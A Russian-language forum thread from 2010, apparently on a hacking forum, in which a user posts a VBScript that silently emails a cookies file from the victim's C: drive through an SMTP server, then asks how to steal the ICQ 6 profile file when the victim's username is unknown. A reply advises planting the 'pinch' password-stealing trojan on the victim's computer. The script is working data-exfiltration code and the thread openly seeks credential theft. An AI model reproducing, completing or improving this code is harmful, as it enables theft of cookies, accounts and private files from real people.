Отчёты по e mail
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Отчёты по e mail - 2010-01-23 11:29:13.323333
|
|
|
weni
Сообщений: 4
Оценки: 0
Присоединился: 2010-01-21 16:37:57.526666
|
On Error Resume Next
Call SendPost("smtp.mail.ru", "кому@mail.ru", "от_кого@mail.ru", "Subj", "Body")
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ваш логин" '- логин на smtp сервер
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "ваш пароль" 'пароль на smtp
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" 'собстно сам сервер
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 'порт на smtp сервере
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.AddAttachment "C:\Куки.txt"
iMsg.Send
End Function
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Этот исходник мне помог, а вот проблема, как мне украсть файл, от icq 6 Owner, если я незнаю имя пользователя компа, а он именно там находится.
Кто подскажет код, чтоб он автоматом имя компа распознал
|
|
|
|
|
RE: Отчёты по e mail - 2010-01-23 15:59:14.396666
|
|
|
weni
Сообщений: 4
Оценки: 0
Присоединился: 2010-01-21 16:37:57.526666
|
Помогите разобраться, мне нужно файл украсть owner, а я незнаю его имя пользователя на компе, пробовал так %UserProfile%
но не получалось
|
|
|
|
|
RE: Отчёты по e mail - 2010-01-28 03:49:42.990000
|
|
|
twil
Сообщений: 10
Оценки: 0
Присоединился: 2009-12-22 15:50:14.580000
|
почитай тему http://forum.xakep.ru/m_1092227/mpage_17/key_/tm.htm#1694039, сделай как сказано, залей пинч на комп жертвы ы все узнаеш)
|
|
|
|
|
|
